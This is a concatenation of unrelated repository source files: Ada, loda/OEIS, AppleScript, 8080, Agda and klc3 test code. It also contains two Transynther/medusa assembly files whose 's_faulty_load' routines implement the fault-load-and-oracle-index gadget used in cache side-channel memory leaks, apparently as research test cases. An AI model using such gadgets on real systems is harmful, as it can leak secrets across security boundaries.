Put (", B: ");
Put (G.B);
end Put_Gene;
-- This is the gene pool. It contains many genes competing to be the best
-- and evolving over time.
Pool : Gen.Pool;
begin
-- Prepare the random number generator.
Random.Reset (Rng);
-- Fill the gene pool with random genes.
Gen.Randomize (Pool);
-- Repeat through many rounds of evolution.
for N in 1 .. 10_000 loop
Gen.Evolve (Pool);
end loop;
-- Now we've got a gene which will solve our problem fairly well.
-- We'll show the gene.
Put ("Best gene: ");
Put_Gene (Gen.Best_Gene (Pool));
New_Line;
end Example; |
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0_notsx.log_21829_365.asm | ljhsiun2/medusa | 9 | 27124 | <gh_stars>1-10
.global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r13
push %r9
push %rbp
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_A_ht+0x171f9, %r9
nop
nop
nop
nop
inc %r12
vmovups (%r9), %ymm5
vextracti128 $0, %ymm5, %xmm5
vpextrq $0, %xmm5, %rdx
nop
nop
nop
sub $61213, %r13
lea addresses_WT_ht+0x7959, %rsi
lea addresses_UC_ht+0xd939, %rdi
nop
nop
nop
nop
nop
xor $1346, %r12
mov $67, %rcx
rep movsw
nop
nop
nop
nop
add %r12, %r12
lea addresses_D_ht+0x199b9, %rsi
lea addresses_normal_ht+0x12241, %rdi
nop
nop
nop
add %rdx, %rdx
mov $34, %rcx
rep movsw
nop
xor %rdi, %rdi
lea addresses_WC_ht+0xafb9, %rsi
lea addresses_WT_ht+0x79b9, %rdi
clflush (%rsi)
nop
nop
add $27912, %rbp
mov $7, %rcx
rep movsq
add $23844, %rsi
lea addresses_WC_ht+0x95b9, %rdi
nop
nop
nop
nop
nop
and %r12, %r12
movb (%rdi), %dl
nop
nop
nop
add %r9, %r9
lea addresses_A_ht+0xc7b9, %r13
nop
nop
nop
nop
nop
sub %rcx, %rcx
mov $0x6162636465666768, %rdi
movq %rdi, (%r13)
xor %rdx, %rdx
lea addresses_D_ht+0xb219, %rsi
lea addresses_D_ht+0x18a99, %rdi
clflush (%rdi)
nop
nop
xor %rbp, %rbp
mov $50, %rcx
rep movsw
nop
nop
nop
and %rsi, %rsi
lea addresses_WC_ht+0x19f9, %rcx
clflush (%rcx)
xor %rdi, %rdi
movups (%rcx), %xmm3
vpextrq $0, %xmm3, %rdx
nop
nop
nop
nop
and %r12, %r12
lea addresses_D_ht+0x9879, %rsi
lea addresses_D_ht+0x17939, %rdi
nop
nop
nop
nop
nop
xor $51416, %rbp
mov $127, %rcx
rep movsw
nop
xor %rsi, %rsi
lea addresses_UC_ht+0x8c59, %rsi
lea addresses_WT_ht+0x127b9, %rdi
nop
nop
nop
inc %rdx
mov $2, %rcx
rep movsq
nop
nop
nop
nop
dec %rdx
lea addresses_normal_ht+0x11529, %rsi
nop
cmp %rbp, %rbp
movups (%rsi), %xmm5
vpextrq $0, %xmm5, %rcx
nop
inc %r9
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbp
pop %r9
pop %r13
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %rax
push %rbp
push %rbx
push %rdi
push %rsi
// Faulty Load
lea addresses_normal+0x1b1b9, %rdi
cmp $20581, %r10
movups (%rdi), %xmm0
vpextrq $0, %xmm0, %rbx
lea oracles, %rdi
and $0xff, %rbx
shlq $12, %rbx
mov (%rdi,%rbx,1), %rbx
pop %rsi
pop %rdi
pop %rbx
pop %rbp
pop %rax
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_normal', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'type': 'addresses_normal', 'AVXalign': False, 'size': 16, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 6}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WT_ht', 'congruent': 5, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_UC_ht', 'congruent': 5, 'same': False}}
{'src': {'type': 'addresses_D_ht', 'congruent': 9, 'same': True}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 3, 'same': False}}
{'src': {'type': 'addresses_WC_ht', 'congruent': 9, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 8, 'same': False}}
{'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 1, 'NT': False, 'same': True, 'congruent': 10}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 9}}
{'src': {'type': 'addresses_D_ht', 'congruent': 5, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 5, 'same': False}}
{'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 5}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_D_ht', 'congruent': 6, 'same': True}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 7, 'same': False}}
{'src': {'type': 'addresses_UC_ht', 'congruent': 2, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 7, 'same': False}}
{'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 4}, 'OP': 'LOAD'}
{'34': 21829}
34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34
*/
|
Src/Ant8/Tests/aa8/basic/e_data_2.asm | geoffthorpe/ant-architecture | 0 | 97996 | <gh_stars>0
# $Id: e_data_2.asm,v 1.1 2001/03/14 16:57:28 ellard Exp $
#@ tests that _data_ cannot be redefined.
#@ This should be handled as a label redefinition.
_data_:
.byte 0, 1, 2, 3, 4, 5, 6, 7 # OK
_data_: # Ooops!
.byte 0, 1, 2, 3, 4, 5, 6, 7 # OK
|
oeis/033/A033573.asm | neoneye/loda-programs | 11 | 89408 | ; A033573: a(n) = (2*n+1)*(9*n+1).
; 1,30,95,196,333,506,715,960,1241,1558,1911,2300,2725,3186,3683,4216,4785,5390,6031,6708,7421,8170,8955,9776,10633,11526,12455,13420,14421,15458,16531,17640,18785,19966,21183,22436,23725,25050,26411,27808,29241,30710,32215,33756,35333,36946,38595,40280,42001,43758,45551,47380,49245,51146,53083,55056,57065,59110,61191,63308,65461,67650,69875,72136,74433,76766,79135,81540,83981,86458,88971,91520,94105,96726,99383,102076,104805,107570,110371,113208,116081,118990,121935,124916,127933,130986,134075
mov $1,18
mul $1,$0
add $1,11
mul $1,$0
add $1,1
mov $0,$1
|
programs/oeis/157/A157474.asm | neoneye/loda | 22 | 169052 | <gh_stars>10-100
; A157474: a(n) = 16n^2 + n.
; 17,66,147,260,405,582,791,1032,1305,1610,1947,2316,2717,3150,3615,4112,4641,5202,5795,6420,7077,7766,8487,9240,10025,10842,11691,12572,13485,14430,15407,16416,17457,18530,19635,20772,21941,23142,24375,25640,26937,28266,29627,31020,32445,33902,35391,36912,38465,40050,41667,43316,44997,46710,48455,50232,52041,53882,55755,57660,59597,61566,63567,65600,67665,69762,71891,74052,76245,78470,80727,83016,85337,87690,90075,92492,94941,97422,99935,102480,105057,107666,110307,112980,115685,118422,121191,123992,126825,129690,132587,135516,138477,141470,144495,147552,150641,153762,156915,160100
mov $1,16
mul $1,$0
add $1,33
mul $1,$0
add $1,17
mov $0,$1
|
programs/oeis/158/A158374.asm | karttu/loda | 1 | 98286 | <reponame>karttu/loda
; A158374: 625n - 1.
; 624,1249,1874,2499,3124,3749,4374,4999,5624,6249,6874,7499,8124,8749,9374,9999,10624,11249,11874,12499,13124,13749,14374,14999,15624,16249,16874,17499,18124,18749,19374,19999,20624,21249,21874,22499,23124,23749,24374,24999,25624,26249,26874,27499,28124,28749,29374,29999,30624,31249,31874,32499,33124,33749,34374,34999,35624,36249,36874,37499,38124,38749,39374,39999,40624,41249,41874,42499,43124,43749,44374,44999,45624,46249,46874,47499,48124,48749,49374,49999,50624,51249,51874,52499,53124,53749,54374,54999,55624,56249,56874,57499,58124,58749,59374,59999,60624,61249,61874,62499,63124,63749,64374,64999,65624,66249,66874,67499,68124,68749,69374,69999,70624,71249,71874,72499,73124,73749,74374,74999,75624,76249,76874,77499,78124,78749,79374,79999,80624,81249,81874,82499,83124,83749,84374,84999,85624,86249,86874,87499,88124,88749,89374,89999,90624,91249,91874,92499,93124,93749,94374,94999,95624,96249,96874,97499,98124,98749,99374,99999,100624,101249,101874,102499,103124,103749,104374,104999,105624,106249,106874,107499,108124,108749,109374,109999,110624,111249,111874,112499,113124,113749,114374,114999,115624,116249,116874,117499,118124,118749,119374,119999,120624,121249,121874,122499,123124,123749,124374,124999,125624,126249,126874,127499,128124,128749,129374,129999,130624,131249,131874,132499,133124,133749,134374,134999,135624,136249,136874,137499,138124,138749,139374,139999,140624,141249,141874,142499,143124,143749,144374,144999,145624,146249,146874,147499,148124,148749,149374,149999,150624,151249,151874,152499,153124,153749,154374,154999,155624,156249
mov $1,$0
mul $1,625
add $1,624
|
inst/scripts/open-choose.applescript | gaborcsardi/keynote | 27 | 2867 | tell application "Keynote"
activate
try
set the chosenDocumentFile to ¬
(choose file of type ¬
{"com.apple.iwork.keynote.key", ¬
"com.apple.iwork.keynote.kth", ¬
"com.apple.iwork.keynote.sffkey", ¬
"com.apple.iwork.keynote.key-tef", ¬
"com.microsoft.powerpoint.ppt", ¬
"org.openxmlformats.presentationml.presentation", ¬
"org.openxmlformats.presentationml.presentation.macroenabled", ¬
"com.microsoft.powerpoint.pps", ¬
"org.openxmlformats.presentationml.slideshow", ¬
"org.openxmlformats.presentationml.slideshow.macroenabled", ¬
"com.microsoft.powerpoint.pot", ¬
"org.openxmlformats.presentationml.template", ¬
"org.openxmlformats.presentationml.template.macroenabled"} ¬
default location (path to documents folder) ¬
with prompt "Choose the Keynote, PowerPoint, or Open XML document to open:")
open the chosenDocumentFile
on error errorMessage number errorNumber
if errorNumber is not -128 then
display alert errorNumber message errorMessage
end if
end try
end tell
|
oeis/172/A172012.asm | neoneye/loda-programs | 11 | 168301 | ; A172012: Expansion of (2-3*x)/(1-3*x-3*x^2) .
; Submitted by <NAME>(s2.)
; 2,3,15,54,207,783,2970,11259,42687,161838,613575,2326239,8819442,33437043,126769455,480619494,1822166847,6908359023,26191577610,99299809899,376474162527,1427321917278,5411388239415,20516130470079,77782556128482,294896059795683
mov $2,3
mov $4,2
lpb $0
sub $0,1
mov $3,$4
mov $4,$2
add $2,$3
mul $2,3
lpe
mov $0,$4
|
Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0xca.log_3307_1200.asm | ljhsiun2/medusa | 9 | 175302 | <reponame>ljhsiun2/medusa
.global s_prepare_buffers
s_prepare_buffers:
push %r13
push %r15
push %rbp
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WT_ht+0x189a2, %rbp
nop
nop
xor %rsi, %rsi
mov $0x6162636465666768, %rdx
movq %rdx, %xmm6
movups %xmm6, (%rbp)
nop
nop
nop
xor $38672, %rcx
lea addresses_WC_ht+0x1d52, %rsi
lea addresses_D_ht+0x93d2, %rdi
nop
add $62363, %r15
mov $121, %rcx
rep movsb
nop
sub %rdx, %rdx
lea addresses_normal_ht+0x1ba92, %rsi
lea addresses_WC_ht+0x43da, %rdi
nop
sub $9053, %r13
mov $45, %rcx
rep movsb
add %rdi, %rdi
lea addresses_normal_ht+0x10192, %rsi
lea addresses_UC_ht+0x18292, %rdi
clflush (%rdi)
nop
nop
nop
add %rbx, %rbx
mov $105, %rcx
rep movsl
nop
nop
nop
dec %rsi
lea addresses_D_ht+0xc598, %rdi
nop
cmp $20563, %rcx
mov $0x6162636465666768, %rbp
movq %rbp, (%rdi)
nop
nop
nop
add $46492, %rdi
lea addresses_WT_ht+0x4982, %rbp
nop
nop
nop
nop
cmp %rsi, %rsi
mov (%rbp), %rdx
nop
and %rbp, %rbp
lea addresses_A_ht+0x18092, %rsi
lea addresses_A_ht+0xf092, %rdi
nop
xor $43927, %rbp
mov $17, %rcx
rep movsl
cmp $54400, %r15
lea addresses_UC_ht+0x2902, %r13
nop
nop
nop
nop
nop
add $28410, %r15
mov $0x6162636465666768, %rdi
movq %rdi, (%r13)
nop
nop
nop
nop
and %rsi, %rsi
lea addresses_UC_ht+0xea92, %rdi
nop
nop
sub $48399, %rdx
mov $0x6162636465666768, %r15
movq %r15, %xmm1
and $0xffffffffffffffc0, %rdi
movaps %xmm1, (%rdi)
nop
nop
xor $30109, %r13
lea addresses_UC_ht+0x10dc2, %rbp
nop
nop
nop
nop
xor %rdi, %rdi
movb (%rbp), %dl
nop
nop
nop
lfence
lea addresses_normal_ht+0x5726, %rsi
lea addresses_D_ht+0x4f92, %rdi
nop
dec %r15
mov $11, %rcx
rep movsq
nop
nop
nop
sub %rcx, %rcx
lea addresses_WC_ht+0x15d92, %rsi
lea addresses_D_ht+0xef36, %rdi
nop
nop
nop
nop
xor %rdx, %rdx
mov $20, %rcx
rep movsb
nop
nop
nop
nop
nop
sub $36449, %rbp
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %r15
pop %r13
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r8
push %rbp
push %rbx
push %rsi
// Faulty Load
lea addresses_A+0x5a92, %r11
clflush (%r11)
nop
nop
nop
nop
nop
xor $64980, %rbp
vmovups (%r11), %ymm3
vextracti128 $0, %ymm3, %xmm3
vpextrq $1, %xmm3, %r8
lea oracles, %rbx
and $0xff, %r8
shlq $12, %r8
mov (%rbx,%r8,1), %r8
pop %rsi
pop %rbx
pop %rbp
pop %r8
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_A'}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 32, 'NT': False, 'type': 'addresses_A'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'congruent': 4, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_WT_ht'}}
{'src': {'congruent': 6, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 6, 'same': False, 'type': 'addresses_D_ht'}}
{'src': {'congruent': 11, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'dst': {'congruent': 3, 'same': False, 'type': 'addresses_WC_ht'}}
{'src': {'congruent': 7, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'dst': {'congruent': 9, 'same': False, 'type': 'addresses_UC_ht'}}
{'OP': 'STOR', 'dst': {'congruent': 0, 'AVXalign': True, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_D_ht'}}
{'src': {'congruent': 3, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 9, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'dst': {'congruent': 9, 'same': False, 'type': 'addresses_A_ht'}}
{'OP': 'STOR', 'dst': {'congruent': 3, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_UC_ht'}}
{'OP': 'STOR', 'dst': {'congruent': 11, 'AVXalign': True, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_UC_ht'}}
{'src': {'congruent': 3, 'AVXalign': False, 'same': False, 'size': 1, 'NT': True, 'type': 'addresses_UC_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 1, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'dst': {'congruent': 6, 'same': False, 'type': 'addresses_D_ht'}}
{'src': {'congruent': 8, 'same': True, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 2, 'same': False, 'type': 'addresses_D_ht'}}
{'00': 3307}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
test/Succeed/Issue4124.agda | shlevy/agda | 1,989 | 11372 | <filename>test/Succeed/Issue4124.agda
open import Agda.Builtin.Unit
open import Agda.Builtin.Bool
open import Agda.Builtin.List
open import Agda.Builtin.Reflection
open import Agda.Builtin.Equality
variable
A B : Set
data Eqn (A : Set) : Set where
eqn : (x y : A) → x ≡ y → Eqn A
infix 3 _==_
pattern _==_ x y = eqn x y refl
infixl 0 such-that
syntax such-that a (λ x → P) p = a is x such-that p proves P
such-that : (x : A) (P : A → Set) → P x → A
such-that x _ _ = x
infix -1 check_
check_ : A → ⊤
check _ = _
infixl -2 _and_
_and_ : ⊤ → A → ⊤
_ and _ = _
-- Record fields can be marked with @tactic
data ShouldRun : Set where
run norun : ShouldRun
defaultTo : {A : Set} (x : A) → ShouldRun → Term → TC ⊤
defaultTo _ norun _ = typeError (strErr "Should not run!" ∷ [])
defaultTo x run hole = bindTC (quoteTC x) (unify hole)
record Class (r : ShouldRun) : Set where
constructor con
field
x : Bool
@(tactic defaultTo x r) {y} : Bool
open Class
-- # Cases where the tactic should run
test₁ test₂ test₃ : Class run
test₁ = con true -- Constructor application
test₂ = record { x = true } -- Record construction
test₃ .x = true -- Missing copattern clause
_ = check test₁ == con true {true}
and test₂ == con true {true}
and test₃ == con true {true}
-- More elaborate missing copatterns
test₃′ : List Bool → Class run
test₃′ [] .x = false
test₃′ [] .y = true
test₃′ (b ∷ _) .x = b
_ =
check test₃′ [] == con false {true}
and λ b → test₃′ (b ∷ []) == con b {b}
-- # Cases where the tactic should not run
-- ## Giving the field explicitly
test₄ test₅ : Class norun
test₄ = con true {_} is c such-that refl proves c .y ≡ false
test₅ = record{ x = true; y = _ } is c such-that refl proves c .y ≡ false
_ = check test₄ == con true {false}
and test₅ == con true {false}
-- ## Eta-expansion
-- Eta-expansion of record metas should *not* trigger the tactic, since that
-- would make eta-expansion potentially lose solutions. For instance,
-- `con true {false} == _1`. Here solving `_1 := con true {false}` is valid, but
-- eta-expanding to `con _2 {_3}` and running `defaultTo _2 _3` leads to an error.
test₆ : Class norun
test₆ =
_ is c such-that refl proves c .x ≡ true
is c such-that refl proves c .y ≡ false
check₆ : test₆ ≡ con true {false}
check₆ = refl
|
Operating-Systems-Homeworks/HW1/HW1_Given/8080emu.V2/8080emu/printstr.asm | aliyasineser/GTU_Homeworks | 7 | 22809 | <filename>Operating-Systems-Homeworks/HW1/HW1_Given/8080emu.V2/8080emu/printstr.asm
; 8080 assembler code
.hexfile printstr.hex
.binfile printstr.com
; try "hex" for downloading in hex format
.download bin
.objcopy gobjcopy
.postbuild echo "OK!"
;.nodump
; OS call list
PRINT_B equ 1
PRINT_MEM equ 2
READ_B equ 3
READ_MEM equ 4
PRINT_STR equ 5
READ_STR equ 6
; Position for stack pointer
stack equ 0F000h
org 000H
jmp begin
; Start of our Operating System
GTU_OS: PUSH D
push D
push H
push psw
nop ; This is where we run our OS in C++, see the CPU8080::isSystemCall()
; function for the detail.
pop psw
pop h
pop d
pop D
ret
; ---------------------------------------------------------------
; YOU SHOULD NOT CHANGE ANYTHING ABOVE THIS LINE
;This program prints a null terminated string to the screen
string: dw 'Hello world',00AH,00H ; null terminated string
begin:
LXI SP,stack ; always initialize the stack pointer
; Now we will call the OS to print the value of sum
LXI B, string ; put the address of string in registers B and C
MVI A, PRINT_STR ; store the OS call code to A
call GTU_OS ; call the OS
hlt ; end program
|
test-klc3/issue_detection/for_read_for_write.asm | liuzikai/klc3 | 0 | 89406 | <filename>test-klc3/issue_detection/for_read_for_write.asm
; This program test assertions of read-only and write-only memory
; KLC3 is expected to detect and give warning about data r/w overflow
; 2020.07.11 by liuzikai
; KLC3: INPUT_FILE
.ORIG x3000
; CHECK: ================ REPORT ================
LD R1, READ_ONLY_MEM ; this is OK
; CHECK-NOT: LD R1, READ_ONLY_MEM
LD R2, UNINITIALIZED_MEM ; this is BAD
; CHECK: WARN_READ_UNINITIALIZED_MEMORY
; CHECK-SAME: LD R2, UNINITIALIZED_MEM
ST R1, UNINITIALIZED_MEM ; this is OK
; CHECK-NOT: ST R1, UNINITIALIZED_MEM
ST R2, READ_ONLY_MEM ; this is BAD
; CHECK: WARN_WRITE_READ_ONLY_DATA
; CHECK-SAME: ST R2, READ_ONLY_MEM
LD R3, READ_ONLY_SYM ; this is OK
; CHECK-NOT: LD R3, READ_ONLY_SYM
LD R4, WRITE_ONLY_SYM ; this is BAD
; CHECK: WARN_READ_UNINITIALIZED_MEMORY
; CHECK-SAME: LD R4, WRITE_ONLY_SYM
ST R3, WRITE_ONLY_SYM ; this is OK
; CHECK-NOT: ST R3, WRITE_ONLY_SYM
ST R4, READ_ONLY_SYM ; this is BAD
; CHECK: WARN_WRITE_READ_ONLY_DATA
; CHECK-SAME: ST R4, READ_ONLY_SYM
; CHECK: ================ END OF REPORT ================
HALT
READ_ONLY_MEM .FILL #42 ; KLC3: READ_ONLY
UNINITIALIZED_MEM .BLKW #1 ; KLC3: UNINITIALIZED
READ_ONLY_SYM .FILL #0 ; KLC3: SYMBOLIC as NUM1 READ_ONLY
WRITE_ONLY_SYM .BLKW #1 ; KLC3: SYMBOLIC as NUM2 UNINITIALIZED
.END
; RUN: %klc3 %s --use-forked-solver=false --output-dir=none --report-to-terminal=true 2>&1 | FileCheck %s |
programs/oeis/210/A210677.asm | neoneye/loda | 22 | 165775 | ; A210677: a(n)=a(n-1)+a(n-2)+n+1, a(0)=a(1)=1.
; 1,1,5,10,20,36,63,107,179,296,486,794,1293,2101,3409,5526,8952,14496,23467,37983,61471,99476,160970,260470,421465,681961,1103453,1785442,2888924,4674396,7563351,12237779,19801163,32038976,51840174,83879186,135719397,219598621,355318057
mov $2,$0
